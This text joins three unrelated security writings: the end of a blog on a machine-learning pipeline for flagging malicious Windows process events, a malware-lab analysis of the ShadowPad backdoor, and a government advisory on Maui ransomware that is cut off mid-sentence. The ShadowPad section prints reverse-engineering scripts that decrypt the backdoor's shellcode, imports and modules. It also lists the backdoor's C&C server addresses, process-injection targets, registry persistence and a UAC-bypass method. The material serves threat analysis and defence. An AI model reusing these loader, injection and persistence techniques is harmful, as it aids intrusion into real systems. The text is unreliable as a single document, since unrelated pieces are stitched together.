"ve", "feature_process_parent_executable_2-gram_feature30": "ve", "feature_command_line_2-gram_feature8": " -", "feature_command_line_2-gram_feature7": "e ", "feature_command_line_2-gram_feature9": "-u" } ``` The nice thing about data frame analytics is that it automatically encodes boolean and categorical features (even features like n-grams), thus eliminating the need for you to manually convert these features into numerical values for the model. It also examines the features and automatically selects the most important features for classification. ## Training the Supervised Model The next step was to train a classification model based on the features extracted above. We used the data frame analytics UI to create the classification job. A snippet of what the process looks like in the UI is shown below: An overview of the process is as follows: - Choose the source index pattern for your job - Choose the job type as “Classification” - Choose the dependent variable as the field containing the ground truth label - Set the training percentage: we recommend that you take an iterative approach to training. Start with a smaller training percentage, evaluate the performance and decide if you need to train on more data. A training percentage of ~55 worked for us. We didn’t see any gains in performance beyond this percentage for our dataset. - Keep only the fields required for training and exclude the rest by unchecking the boxes next to the fields. We only retained the following fields: ### List of Features to Include in Training - Set the number of feature importance values you would like to see once the model has trained: We chose 20 - Set a prediction field name of your choice: We chose `y_pred` - Set an appropriate job name and description under job ID and description respectively - Set a destination index and click “Continue”, followed by “Create” ## Evaluating the Trained Model Once the model has trained, you can navigate to the data frame analytics results UI to analyze the performance of the model on the test set. The UI displays the confusion matrix, a key metric in evaluating the overall model performance. Additionally, you can also view a data table of the results, which shows how the model performed on individual data points in the dataset. You can toggle between the training and testing results by using the Training/Testing filters to the top right in the UI. The confusion matrix displays the percentage of data points that were classified as true positives (malicious events that the model identified as malicious and that were actually malicious) and true negatives (benign events that the model identified as benign and that were actually benign). The matrix also displays the percentage of events that the model misclassified as malicious (false positives) and vice versa (false negatives). As seen in the figure above, our model had a 98% true positive rate on the testing data, which is pretty good, considering malicious process events are generally tricky to identify. The false positive rate was low, which is also a good sign. This means that the model will not generate a large number of alerts if deployed to production in our environment. One thing to note here is that the performance of your model could look very different from ours based on the training data. You might need to tune your model, increase the training percentage, add more training data or features, etc. ## Enriching Incoming Events on Ingest Once you have a model you like, you can use it to enrich incoming events with a prediction of whether or not the event is likely to be malicious, along with a probability score of how confident the model is in its prediction. This can be done by configuring an ingest pipeline for the new events with an inference processor. However, for the trained model to make predictions, the incoming events need to be featurized using the same set of processors as discussed in the Feature Engineering section of this blog. Hence the ingest pipeline for these new events consists of all the processors mentioned previously, with the inference processor added after all the feature generating processors. A snippet of an enriched document looks as follows: The complete ingest pipeline configuration and additional configuration details can be found in the examples repository. You might also note that the document shown above does not have any of the features created by the featurization processors. This is because the ingest pipeline here contains a script processor that removes all the features created for inference, as well as any other superfluous features, once inference is done. Of course, you can choose to keep the features in by excluding this script processor from the ingest pipeline. An additional feature that you can configure to complement the supervised model is a blocklist. The blocklist can be used to catch known offenders in your environment that the trained model might miss based on certain keywords present in the commandline arguments. This is configured as a script invoked by a script processor after the inference processor in the ingest pipeline. A starter list of keywords is provided in the examples repository. You can also add to the list, but make sure to update the blocklist script processor in your ingest pipeline if you do. As mentioned at the beginning of this blog, the ProblemChild framework is currently built only for Windows process events. There are other operating systems (macOS, Linux) as well as different types of events (network, registry) for each OS. It would be ideal to make the ingest pipeline execute conditionally only when the incoming document contains the desired fields. For this, we used a pipeline processor and checked for specific fields in the document before deciding whether or not to direct it to the ingest pipeline. A sample of such a processor is as follows: ```json PUT _ingest/pipeline/problemchild_pipeline { "description": "A pipeline of pipelines for ProblemChild detection", "processors": [ { "pipeline": { "if": "ctx.containsKey('event') && ctx['event'].containsKey('kind') && ctx['event'].containsKey('category') && ctx['event']['kind'] == 'event' && ctx['event']['category'].contains('process') && ctx.containsKey('host') && ctx['host'].containsKey('os') && (ctx['host']['os'].containsKey('family') || ctx['host']['os'].containsKey('type') || ctx['host']['os'].containsKey('platform')) && (ctx['host']['os']['type'] == 'windows' || ctx['host']['os']['type'] == 'Windows' || ctx['host']['os']['family'] == 'windows' || ctx['host']['os']['family'] == 'Windows' || ctx['host']['os']['platform'] == 'windows' || ctx['host']['os'] ['platform'] == 'Windows')", "name": "problemchild_inference" } } ] } ``` ## Anomaly Detection for Second-Order Analytics With ProblemChild, our goal was to not only classify malicious events but go a step further and identify the creme de la creme of the malicious events. In environments working with a large amount of data, even a small false positive rate can result in a large number of alerts. Picking out the rarest events for analysts can help them prioritize events and catalyze the triage process. The Elastic Stack has an anomaly detection module, which we leveraged to build an additional layer of analytics on top of our supervised model results. We made use of the `rare` detector to create anomaly detection jobs to identify rare processes spawned by a particular parent process/user/host, as well as the `high_count` detector to identify groups of suspicious processes spawned by a particular parent process/user/host. The configurations and datafeeds required to set up these jobs can be found in the examples repository as well. The Anomaly Explorer is a good place to view anomalies detected by your anomaly detection jobs. You can see an overall visualization of anomalies across a given time period, as well as an individual breakdown of the anomalies with the associated anomaly score and relevant context in the form of influencers. ## Conclusion In this blog post, we trained a classification model to identify malicious Windows process events and used anomaly detection to further uncover rare events. We will also be releasing our models and configurations for ProblemChild in the detection-rules repository. Watch that space for future updates to ProblemChild. Also, stay tuned for a future blog post to find out how to use these in the Elastic SIEM app. In the meantime, experience the latest version of Elasticsearch Service on Elastic Cloud and follow along with this blog to build the ProblemChild framework from scratch on your Windows process event data. Also, be sure to take advantage of our Quick Start training to set yourself up for success. Happy experimenting!
# Study of the ShadowPad APT Backdoor and Its Relation to PlugX In July 2020, we released a study of targeted attacks on state institutions in Kazakhstan and Kyrgyzstan with a detailed analysis of malware found in compromised networks. During the investigation, Doctor Web specialists analyzed and described several groups of trojan programs, including new samples of trojan families already encountered by our virus analysts, as well as previously unknown trojans. The most notable discovery was the samples of the XPath family. We were also able to find evidence that allowed us to link two initially independent incidents. In both cases, the attackers used a similar selection of malware, including the same specialized backdoors that infected domain controllers in the attacked organizations. During the examination, analysts studied samples of PlugX multi-module backdoors used for initial penetration into the network infrastructure. The analysis showed that certain PlugX modifications used the same domain names of C&C servers, as did other backdoors related to targeted attacks on Central Asian state institutions. The detection of the PlugX programs indicates Chinese APT groups are possibly involved in these incidents. According to our data, the unauthorized presence in both networks lasted for more than three years, and several hacker groups could be behind the attacks. Investigations of such complex cyber incidents involve long-term work, so they are rarely covered by a single article. The Doctor Web virus laboratory received new samples of malware found on the infected computers in the local network of a state institution in Kyrgyzstan. In addition to the malware described in the previous article, the ShadowPad backdoor deserves particular attention. Various modifications of this malware family are a well-known tool of the Winnti APT group, presumably of Chinese origin, active since at least 2012. It is noteworthy that the Farfli backdoor was also installed on the computer along with ShadowPad, and both programs referred to the same C&C server. Additionally, we uncovered several PlugX modifications on the same computer. In this study, we analyzed the algorithms of the detected backdoors. Special attention is paid to the code similarities between the ShadowPad and PlugX samples, as well as to some intersections in their network infrastructure. ## List of Detected Malware The following backdoors were found on the infected computer: | SHA256 Hash | Detection Name | C&C Server | Installation Dates | |------------------------------------------|---------------------------|-----------------------------|----------------------------| | ac6938e03f2a076152ee4c | BackDoor.ShadowPad.1 | www[.]pneword[.]net | 07.09.2018 | | 9135cdfd09a08435d344cf | BackDoor.Farfli.122 | www[.]pneword[.]net | 03.11.2017 | | 3ff98ed63e3612e56be10e | BackDoor.PlugX.47 | www[.]mongolv[.]com | 29.12.2016 | | b8a13c2a4e09e04487309 | BackDoor.PlugX.48 | www[.]icefirebest[.]com | 03.12.2018 | For further research, we found and analyzed other samples of the ShadowPad family in order to perform a detailed examination of the similarities between the ShadowPad and PlugX backdoors: - BackDoor.ShadowPad.3 - BackDoor.ShadowPad.4—a modification of ShadowPad that was part of a self-extracting WinRAR dropper. It loaded an atypical for this family module in the form of a DLL library. A thorough study of ShadowPad samples and their comparison with previously studied PlugX modifications indicates a high similarity in the operation principles and modular structures of the backdoors from both families. These malicious programs are united not only by the general concept, but also by the nuances of the code: certain development techniques, ideas, and technical solutions are nearly identical. An important point is that both backdoors were located in the compromised network of a state institution in Kyrgyzstan. ## Conclusion The available data allow us to conclude that these families are related in terms of simple code borrowing or the development of both programs by one author or a group of authors. In the second case, it is very likely that ShadowPad is an evolution of PlugX as a newer and more advanced APT tool. The storage format of the malicious modules used in the ShadowPad makes it much more difficult to detect them in RAM. ## Operating Routine of Discovered Malware Samples ### BackDoor.ShadowPad.1 It is a multi-module backdoor written in C and Assembler and designed to run on 32-bit and 64-bit Microsoft Windows operating systems. It is used in targeted attacks on information systems for gaining unauthorized access to data and transferring it to C&C servers. Its key feature is utilizing hardcoded plug-ins that contain the main backdoor’s functionality. **Operating routine** The backdoor’s DLL library is loaded into RAM by DLL Hijacking using the genuine executable file TosBtKbd.exe from TOSHIBA CORPORATION. On the infected computer, the file was named msmsgs.exe. The backdoor can be related to BackDoor.Farfli.125, since both malware programs use the same C&C server—www[.]pneword[.]net. The sample was located on the infected computer in C:\ProgramData\Messenger\ and was installed as the Messenger service. It is worth noting that BackDoor.Farfli.125 can execute the 0x7532 command, which is used to start a service with the same name—Messenger. **Start of operation** The malicious library has two export functions: - SetTosBtKbdHook - UnHookTosBtKbd The module name specified in the export table is TosBtKbd.dll. The DLLMain function and the UnHookTosBtKbd export function are stubs. The SetTosBtKbdHook function performs an exhaustive search through the handles in order to find objects whose names contain TosBtKbd.exe and then closes them. After that, the shellcode stored in the backdoor body is decrypted using SetTosBtKbdHook. **Shellcode decryption algorithm:** ```python def LOBYTE(v): return v & 0xFF def dump_shellcode(addr, size, key): buffer = get_bytes(addr, size) result = b"" for x in buffer: result += bytes([x ^ LOBYTE(key)]) key = ((key * 0x6A730000) - (((key >> 0x10) * 0x39F3958D)) - 0x5C0BB335) & 0xFFFFFFFF i = 0 for x in result: patch_byte(addr + i, x) i += 1 ``` The decrypted shellcode utilizes obfuscation by using two consecutive conditional JMP instructions at a single address. After bypassing obfuscation, the function becomes correct. The shellcode is designed for loading the main payload, which is a disassembled PE module without the MZ and PE headers. A custom header consisting of separate parts of standard headers is used for the loading. The header is stored in the shellcode after the first block of instructions. The module_loader function then loads the payload directly. First, through the PEB structure, the backdoor obtains the addresses of the following functions from kernel32: - LoadLibraryA - GetProcAddress - VirtualAlloc - Sleep Kernel32 library name and the specified APIs are searched by the hash of the name, which is calculated by the algorithm. After receiving the API addresses, the backdoor checks the integrity of the header values using an algorithm based on the XOR operation—module_header.key ^ module_header.key_check. The value must be 0x7C35D9A3 and it is the same value used when hashing function names from kernel32. After that, it checks the value of the signature module_header.HDR32_MAGIC signature that must be equal to 0x10B. The backdoor then allocates an executable buffer of the module_header.import_table_RVA size and adds 0x4000 for the module. After that, it fills a block with the size of 0x1000 bytes at the beginning of the module_header.section_1.RVA allocated buffer. That buffer is where the PE header of the loaded module should have been located. The ECX register initially contains the address of the allocated executable buffer. The backdoor then loads the module sections according to their RVA (Relative Virtual Address). Section data is stored in the shellcode after the header, and the offset to the (section.raw_data_offset) data is counted from the beginning of the header. After the sections, the program processes relocations that are stored as IMAGE_BASE_RELOCATION structures, but each WORD, which is responsible for the relocation type and for the offset from the beginning of the block, is encrypted. The initial key is taken from module_header.key, and it changes after each iteration. It is worth noting that the key obtained after all iterations will be used for processing import functions. **Relocations processing algorithm:** ```python import struct def relocations(image_address, original_image_base, relocation_table_RVA): global key relocation_table_addr = image_address + relocation_table_RVA reloc_hdr_data = get_bytes(relocation_table_addr, 8) block_address, size_of_block = struct.unpack('<II', reloc_hdr_data) while size_of_block: if ((size_of_block - 8) >> 1) > 0: block = get_bytes(relocation_table_addr + 8, size_of_block - 8) i = 0 while i < ((size_of_block - 8) >> 1): reloc = struct.unpack('<H', block[i*2:i*2+2])[0] reloc_type = ((reloc ^ key) & 0xFFFF) >> 0x0C offset = (reloc ^ key) & 0xFFF offset_high = (((key >> 0x10) + reloc) & 0xFFFFFFFF) | ((key << 0x10) & 0xFFFFFFFF) key = offset_high if reloc_type == 3: patch_addr = offset + image_address + block_address delta = (image_address - original_image_base) & 0xFFFFFFFF value = get_wide_dword(patch_addr) patch_dword(patch_addr, (value + delta) & 0xFFFFFFFF) elif reloc_type == 0x0A: patch_addr = image_address + offset + block_address delta = (image_address - original_image_base) & 0xFFFFFFFF old_low = get_wide_dword(patch_addr) old_high = get_wide_dword(patch_addr + 4) patch_dword(patch_addr, (old_low + offset) & 0xFFFFFFFF) patch_dword(patch_addr + 4, (old_high + offset_high) & 0xFFFFFFFF) i += 1 relocation_table_addr += size_of_block reloc_hdr_data = get_bytes(relocation_table_addr, 8) block_address, size_of_block = struct.unpack('<II', reloc_hdr_data) ``` After all the relocations are processed, the structure is filled with null values. Next, BackDoor.ShadowPad.1 starts processing the import functions. In general, the procedure is standard, but the names of libraries and functions are encrypted. The key that was modified after processing the relocations is used, and is also changed after each encryption iteration. After processing the next import function, its address is not placed directly in the cell specified relative to IMAGE_IMPORT_DESCRIPTOR.FirstThunk. Instead, a block of instructions is generated that passes control to the API. **Algorithm for processing import functions:** ```python def imports(image_address, IAT_RVA): global key IAT_address = image_address + IAT_RVA import_table_address = image_address + 0x1A000 import_descriptor_address = IAT_address while True: OriginalThunkData, TimeDateStamp, ForwarderChain, Name, FirstThunk = struct.unpack('<IIIII', get_bytes(import_descriptor_address, 0x14)) TimeDateStamp = 0 ForwarderChain = 0 OriginalThunkData_address = image_address + OriginalThunkData FirstThunk_address = image_address + FirstThunk libname_address = image_address + Name n1 = get_wide_byte(libname_address) libname_decrypted = bytes([(n1 ^ key) & 0xFF]) key = ((key >> 0x08) + c_byte(n1).value) | ((key << 0x18) & 0xFFFFFFFF) i = 1 nb = get_wide_byte(libname_address + i) while libname_decrypted[-1]: libname_decrypted += bytes([(nb ^ key) & 0xFF]) key = ((key >> 0x08) + c_byte(nb).value) | ((key << 0x18) & 0xFFFFFFFF) i += 1 nb = get_wide_byte(libname_address + i) libname_decrypted = libname_decrypted[:-1] print("Imports from {0}".format(libname_decrypted[:-1])) thunk = get_wide_dword(OriginalThunkData_address) it_ptr = 0 j = 0 while thunk: name_address = image_address + thunk + 2 nb1 = get_wide_byte(name_address) func_name = bytes([(nb1 ^ key) & 0xFF]) key = ((key >> 0x08) + c_byte(nb1).value) | ((key << 0x18) & 0xFFFFFFFF) i = 1 nb = get_wide_byte(name_address + i) while func_name[-1]: func_name += bytes([(nb ^ key) & 0xFF]) key = ((key >> 0x08) + c_byte(nb).value) | ((key << 0x18) & 0xFFFFFFFF) i += 1 nb = get_wide_byte(name_address + i) func_name = func_name[:-1] print("Function {0}".format(func_name)) j_type = key % 5 if j_type == 0: patch_byte(import_table_address, 0xE8) elif j_type == 1: patch_byte(import_table_address, 0xE9) elif j_type == 2: patch_byte(import_table_address, 0xFF) elif j_type == 3: patch_byte(import_table_address, 0x48) elif j_type == 4: patch_byte(import_table_address, 0x75) else: patch_byte(import_table_address, 0x00) import_table_address += 1 patch_dword(FirstThunk_address + it_ptr, import_table_address) func_addr = binascii.crc32(func_name) & 0xFFFFFFFF patch_byte(import_table_address, 0xB8) patch_byte(import_table_address + 1, func_addr) patch_word(import_table_address + 5, 0xD8F7) patch_word(import_table_address + 7, 0xE0FF) import_table_address += 9 j += 1 it_ptr = j << 2 thunk = get_wide_dword(OriginalThunkData_address + it_ptr) import_descriptor_address += 0x14 if not get_wide_dword(import_descriptor_address): break ``` The import table is also filled with null values after processing. The control is then passed to the loaded module. Arguments are passed as: - Address of the beginning of the buffer where the module is loaded, - Value 1 (code), - Pointer to the shellarg structure. At the entry point, the loaded module checks the code passed from the loader: - 1—the main functionality, - 0x64, 0x65—no action provided, - 0x66—returns the code 0x64 in the third argument, - 0x67—decrypts and returns the Root string (hereinafter Root—the name of the module), - 0x68—in the third argument returns a pointer to the table of functions implemented in this module. **Decryption algorithm:** ```python def decrypt_str(addr): key = get_wide_word(addr) result = b"" i = 2 b = get_wide_byte(addr + i) while i < 0xFFA: result += bytes([b ^ (key & 0xFF)]) key = (((key >> 0x10) * 0x1447208B) + (key * 0x208B0000) - 0x4875A15) & 0xFFFFFFFF i += 1 b = get_wide_byte(addr + i) if not result[-1]: break result = result[:-1] return result ``` It is worth noting that the code snippets contained in this module, as well as some objects, are typical of the BackDoor.PlugX family. When called with the code 1, the module proceeds to perform the main functions. At first, the program registers a top-level exception handler. When receiving control, the handler generates a debug string with information about the exception. The program then outputs it using the OutputDebugString function, and writes it to the log file located in %ALLUSERPROFILE%\error.log. Exception handlers are also registered in the BackDoor.PlugX family. In particular, in BackDoor.PlugX.38 a string with information about the exception is formed, but the format differs slightly. After registering the handler, a table of auxiliary functions is formed that is used for interaction between modules. Next, Root proceeds to load the additional built-in modules. Each module is stored in an encrypted form and also compressed using the QuickLZ algorithm. At the beginning, the module has a header size of 0x14 bytes. The header is decoded during the first step. **Encryption algorithm:** ```python import struct def LOBYTE(v): return v & 0x000000FF def BYTE1(v): return (v & 0x0000FF00) >> 8 def BYTE2(v): return (v & 0x00FF0000) >> 16 def HIBYTE(v): return (v & 0xFF000000) >> 24 def decrypt_module(data, data_len, init_key): key = [] for i in range(4): key.append(init_key) k = 0 result = b"" if data_len > 0: i = 0 while i < data_len: if i & 3 == 0: t = key[0] key[0] = (0x9150017B - (t * 0xD45A840)) & 0xFFFFFFFF elif i & 3 == 1: t = key[1] key[1] = (0x95D6A3A8 - (t * 0x645EE710)) & 0xFFFFFFFF elif i & 3 == 2: t = key[2] key[2] = (0xD608D41B - (t * 0x1ED33670)) & 0xFFFFFFFF elif i & 3 == 3: t = key[3] key[3] = (0xD94925D3 - (t * 0x68208D35)) & 0xFFFFFFFF k = (k - LOBYTE(key[i & 3])) & 0xFF k = k ^ BYTE1(key[i & 3]) k = (k - BYTE2(key[i & 3])) & 0xFF k = k ^ HIBYTE(key[i & 3]) result += bytes([data[i] ^ k]) i += 1 return result ``` The initial value of the encryption key is stored in the module header. The structure looks as follows: ```c struct plugin_header { DWORD key; DWORD flags; DWORD dword; DWORD compressed_len; DWORD decompressed_len; }; ``` After decrypting the header, the backdoor checks the value of flags. If the 0x8000 flag is set, it means that the module consists of only one header. Then the first byte’s zero bit value is checked in the decrypted block. If the zero bit has the value 1, it means the module body is compressed by the QuickLZ algorithm. After unpacking, the malware checks the size of the resulting data with the values in the header and proceeds directly to loading the module. To do so, it allocates an executable memory buffer to which it copies the load function and then passes control to it. Each module has the same format as the Root module, so it has its own header and encrypted import functions and relocations; therefore, loading occurs in the same way. After the module is loaded, the loader function calls its entry point with the code 1. Each module, like Root, initializes its function table using this code. Then Root calls the entry point of the loaded module sequentially with the codes 0x64, 0x66, and 0x68. This way, the backdoor initializes the module and passes it pointers to the necessary objects. Modules are represented as objects combined in a linked list. Referring to a specific module is performed using the code the plug-in puts in its object after calling its entry point with the code 0x66. When referring to the module entry point with the code 0x67, a string is decrypted and returned, which can be designated as the module name: - 1—Plugins - 2—Online - 3—Config - 4—Install - 5—TCP - 6—HTTP - 7—UDP - 8—DNS If one converts the timestamp fields from the headers of each plugin to dates, one gets the correct date and time values: - Plugins—2017-07-02 05:52:53 - Online—2017-07-02 05:53:08 - Config—2017-07-02 05:52:58 - Install—2017-07-02 05:53:30 - TCP—2017-07-02 05:51:36 - HTTP—2017-07-02 05:51:44 - UDP—2017-07-02 05:51:50 - DNS—2017-07-02 05:51:55 After loading all the Root modules, the malware searches the list for the Install module and calls the second of the two functions located in its function table. ### Install First of all, the backdoor gets the SeTcbPrivilege and SeDebugPrivilege privileges. Then it obtains the configuration using the Config module. To access functions, the adapter functions of the following type are used: Through the object that stores the list of loaded modules, the backdoor finds the necessary one using the code, then the necessary function is called through the table. During the first step of the configuration initialization, the buffer stored in the Root module is checked. If the first four bytes of this buffer are X, this means the backdoor needs to create a default configuration. Otherwise, this buffer is an encoded configuration. The configuration is stored in the same format as plug-ins—it is compressed using the QuickLZ algorithm and encrypted using the same algorithm used for plug-in encryption. 0x858 bytes are reserved for the decrypted and unpacked configuration. Its structure can be represented as follows: ```c struct config { WORD off_id; //lpBvQbt7iYZE2YcwN WORD offset_1; //Messenger WORD off_bin_path; //%ALLUSERSPROFILE%\Messenger\msmsgs.exe WORD off_svc_name; //Messenger WORD off_svc_display_name; //Messenger WORD off_svc_description; //Messenger WORD off_reg_key_install; //SOFTWARE\Microsoft\Windows\CurrentVersion\Run WORD off_reg_value_name; //Messenger WORD off_inject_target_1; //%windir%\system32\svchost.exe WORD off_inject_target_2; //%windir%\system32\winlogon.exe WORD off_inject_target_3; //%windir%\system32\taskhost.exe WORD off_inject_target_4; //%windir%\system32\svchost.exe WORD off_srv_0; //HTTP://www.pneword.net:80 WORD off_srv_1; //HTTP://www.pneword.net:443 WORD off_srv_2; //HTTP://www.pneword.net:53 WORD off_srv_3; //UDP://www.pneword.net:53 WORD off_srv_4; //UDP://www.pneword.net:80 WORD off_srv_5; //UDP://www.pneword.net:443 WORD off_srv_6; //TCP://www.pneword.net:53 WORD off_srv_7; //TCP://www.pneword.net:80 WORD off_srv_8; //TCP://www.pneword.net:443 WORD zero_2A; WORD zero_2C; WORD zero_2E; WORD zero_30; WORD zero_32; WORD zero_34; WORD zero_36; WORD off_proxy_1; //HTTP\n\n\n\n\n WORD off_proxy_2; //HTTP\n\n\n\n\n WORD off_proxy_3; //HTTP\n\n\n\n\n WORD off_proxy_4; //HTTP\n\n\n\n\n DWORD DNS_1; //8.8.8.8 DWORD DNS_2; //8.8.8.8 DWORD DNS_3; //8.8.8.8 DWORD DNS_4; //8.8.8.8 DWORD timeout_multiplier; //0x0A DWORD field_54; //zero //data }; ``` Fields named off_* contain offsets to encrypted strings from the beginning of the configuration. The strings are encrypted with the same algorithm as used to encrypt the names of the plug-ins. After initialization, the backdoor also attempts to get the configuration from the file located in the %ALLUSERSPROFILE%\<rnd1>\<rnd2>\<rnd3>\<rnd4> directory. The path and file name elements are generated during execution and depend on the serial number of the system partition. After initializing the configuration, the mode parameter is checked, which is stored in the shellarg structure. That structure is filled in by the loader (shellcode) and stored in the stage_1 module. The algorithm provides a number of possible values for the mode parameter—2, 3, 4, 5, 6, 7. If the value is different from the listed ones, the backdoor is installed in the system, and then the main functions are performed. A series of values 2, 3, 4—to begin interaction with the C&C server, bypassing the installation. A series of values 5, 6—to work with the plug-in with the code 0x6A stored in the registry. Value 7—using the IFileOperation interface, the source module is copied to %TEMP%, as well as to System32 or SysWOW64, depending on the system bitness. This is necessary to restart the backdoor with UAC bypass using the wusa.exe file. ### Backdoor Installation Process During installation, the backdoor checks the current path of the executable file by comparing it with the value of off_bin_path from the configuration (%ALLUSERSPROFILE%\Messenger\msmsgs.exe). If the path does not match and the backdoor is launched for the first time, a mutex is created, the name of which is generated as follows: Format of the mutex name for wsprintfW is Global\%d%d%d. Then checks whether UAC is enabled. If control is disabled, the malware creates the control.exe process (from System32 or SysWOW64, depending on the system's bitness) with the CREATE_SUSPENDED flag. After that, the backdoor injects the Root module into it, using WriteProcessMemory. Before doing this, the backdoor also implements a function that loads the module and transfers control to it. If UAC is enabled, this step is skipped. The main executable file (msmsgs.exe) and TosBtKbd.dll are copied to the directory specified in the off_bin_path parameter and then installed as a service. The service name, display name, and description are contained in the configuration (parameters off_svc_name, off_svc_display_name, and off_svc_description). In this sample all three parameters have the Messenger value. If the service fails to start, the backdoor is registered in the registry. The key and parameter name for this case are also stored in the configuration (off_reg_key_install and off_reg_value_name parameters). After installation, the backdoor attempts to inject the Root module into one of the processes specified in the configuration (off_inject_target_<1..4>). If successful, the current process terminates, and the new process (or service) proceeds to interact with the C&C server. A separate thread is created for this purpose. After that, a new registry key is created or an existing registry key is opened, which is used as the malware's virtual file system. The key is located in the Software\Microsoft\<key> branch, and the <key> value is also generated depending on the serial number of the system volume. The key can also be located in the HKLM and HKCU, depending on the privileges of the process. Next, the RegNotifyChangeKey function tracks changes in this key. Each parameter is a compressed and encrypted plug-in. The backdoor extracts each value and loads it as a module, adding it to the list of available ones. This functionality is executed in a separate thread. The next step generates a pseudo-random sequence from 3 to 9 bytes long, which is written to the registry in the SOFTWARE\ key located in the HKLM or HKCU. The parameter name is also generated and is unique for each computer. This value is used as the ID of the infected device. After that, the backdoor extracts the address of the first C&C server from the configuration. The server storage format is as follows: <protocol>://<address>:<port>. In addition to the values that explicitly define the protocol used (HTTP, TCP, UDP), the URL value can also be specified. In this case, the backdoor refers to this URL and receives a new address of the C&C server in response, using the domain generation algorithm (DGA). ### Network Communication When using the HTTP protocol, data is sent by a POST request. Data transfer over HTTP is performed by the handler function in a separate thread. The mechanism is similar to that of BackDoor.PlugX. DNS servers from the configuration are used to resolve the addresses of C&C servers (in this sample all 4 addresses are 8.8.8.8). The first packet sent to the server is a sequence of zeros from 0 to 0x3f bytes in length. The length is selected randomly. The backdoor receives a response from the server, which is then decrypted and unpacked. Then, the packet header checks the module_code value, which contains the code of the plug-in for which the command was received. The backdoor refers to the plug-in whose code is specified in the command and calls the function for processing commands from its table. The ID of the command itself is contained in the id field of the header. ### Artifacts In the historical WHOIS record of the C&C server domain, one can observe the Registrar's email address: ddggcc@189[.]cn. The same address is found in the icefirebest[.]com and www[.]arestc[.]net domain records, which were contained in the configurations of PlugX backdoor samples installed on the same computer.
# North Korean State-Sponsored Cyber Actors Use Maui Ransomware to Target the Healthcare and Public Health Sector ## Summary The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and the Department of the Treasury are releasing this joint Cybersecurity Advisory (CSA) to provide information on Maui ransomware, which has been used by North Korean state-sponsored cyber actors since at least May 2021 to target Healthcare and Public Health (HPH) Sector organizations. This joint CSA provides information—including tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs)—on Maui ransomware obtained from FBI incident response activities and industry analysis of a Maui sample. The FBI, CISA, and Treasury urge HPH Sector organizations as well as other critical infrastructure organizations to apply the recommendations in the Mitigations section of this CSA to reduce the likelihood of compromise from ransomware operations. Victims of Maui ransomware should report the incident to their local FBI field office or CISA. The FBI, CISA, and Treasury highly discourage paying ransoms as doing so does not guarantee files and records will be recovered and may pose sanctions risks. In September 2021, Treasury issued an updated advisory highlighting the sanctions risks associated with ransomware payments and the proactive steps companies can take to mitigate such risks. Specifically, the updated advisory encourages U.S. entities to adopt and improve cybersecurity practices and report ransomware attacks to, and fully cooperate with, law enforcement. The updated advisory states that when affected parties take these proactive steps, Treasury’s Office of Foreign Assets Control (OFAC) would be more likely to resolve apparent sanctions violations involving ransomware attacks with a non-public enforcement response. For more information on state-sponsored North Korean malicious cyber activity, see CISA’s North Korea Cyber Threat Overview and Advisories webpage. ## Technical Details Since May 2021, the FBI has observed and responded to multiple Maui ransomware incidents at HPH Sector organizations. North Korean state-sponsored cyber actors used Maui ransomware in these incidents to encrypt servers responsible for healthcare services—including electronic health records services, diagnostics services, imaging services, and intranet services. In some cases, these incidents disrupted the services provided by the targeted HPH Sector organizations for prolonged periods. The initial access vector(s) for these incidents is unknown. ### Maui Ransomware Maui ransomware (`maui.exe`) is an encryption binary. According to industry analysis of a sample of Maui (SHA256: 5b7ecf7e9d0715f1122baf4ce745c5fcd769dee48150616753fec4d6da16e99e) provided in Stairwell Threat Report: Maui Ransomware—the ransomware appears to be designed for manual execution by a remote actor. The remote actor uses command-line interface to interact with the malware and to identify files to encrypt. Maui uses a combination of Advanced Encryption Standard (AES), RSA, and XOR encryption to encrypt target files: 1. Maui encrypts target files with AES 128-bit encryption. Each encrypted file has a unique AES key, and each file contains a custom header with the file’s original path, allowing Maui to identify previously encrypted files. The header also contains encrypted copies of the AES key. 2. Maui encrypts each AES key with RSA encryption. Maui loads the RSA public (`maui.key`) and private (`maui.evd`) keys in the same directory as itself. 3. Maui encodes the RSA public key (`maui.key`) using XOR encryption. The XOR key is generated from hard drive information (`\\.\PhysicalDrive0`). During encryption, Maui creates a temporary file for each file it encrypts using `GetTempFileNameW()`. Maui uses the temporary file to stage output from encryption. After encrypting files, Maui creates `maui.log`, which contains output from Maui execution. Actors likely exfiltrate `maui.log` and decrypt the file using associated decryption tools. ### Indicators of Compromise See table 1 for Maui ransomware IOCs obtained from FBI incident response activities since May 2021. **Table 1: Maui Ransomware IOCs** | Indicator Type | Value | |----------------|-------| | Filename | maui.exe, maui.log, maui.key, maui.evd, aui.exe | | MD5 Hash | 4118d9adce7350c3eedeb056a3335346, 9b0e7c460a80f740d455a7521f0eada1, fda3a19afa85912f6dc8452675245d6b, 2d02f5499d35a8dffb4c8bc0b7fec5c2, c50b839f2fc3ce5a385b9ae1c05def3a, a452a5f693036320b580d28ee55ae2a3, a6e1efd70a077be032f052bb75544358, 802e7d6e80d7a60e17f9ffbd62fcbbeb | | SHA256 Hash | 5b7ecf7e9d0715f1122baf4ce745c5fcd769dee48150616753fec4, 45d8ac1ac692d6bb0fe776620371fca02b60cac8db23c4cc7ab5df262da42b78, 56925a1f7d853d814f80e98a1c4890b0a6a84c83a8eded34c585c98b2df6ab19, 830207029d83fd46a4a89cd623103ba2321b866428aa04360376e6a390063570, 458d258005f39d72ce47c111a7d17e8c52fe5fc7dd98575771640d9009385456, 99b0056b7cc2e305d4ccb0ac0a8a270d3fceb21ef6fc2eb13521a930cea8bd9f, 3b9fe1713f638f85f20ea56fd09d20a96cd6d288732b04b073248b56cdaef878, 87bdb1de1dd6b0b75879d8b8aef80b562ec4fad365d7abbc629bcfc1d386afa6 | ## Attribution to North Korean State-Sponsored Cyber Actors The FBI assesses North Korean state-sponsored cyber actors have deployed Maui ransomware against Healthcare and Public Health Sector organizations. The North Korean state-sponsored cyber actors likely assume healthcare organizations are willing to pay ransoms because these organizations provide services that are critical to human life and health. Because of this assumption, the FBI, CISA, and Treasury assess North Korean state-sponsored actors are likely to continue targeting HPH Sector organizations. ## Mitigations The FBI, CISA, and Treasury urge HPH Sector organizations to: - Limit access to data by deploying public key infrastructure and digital certificates to authenticate connections with the network, Internet of Things (IoT) medical devices, and the electronic health record system, as well as to ensure data packages are not manipulated while in transit from man-in-the-middle attacks. - Use standard user accounts on internal systems instead of administrative accounts, which allow for overarching administrative system privileges and do not ensure least privilege. - Turn off network device management interfaces such as Telnet, SSH, Winbox, and HTTP for wide area 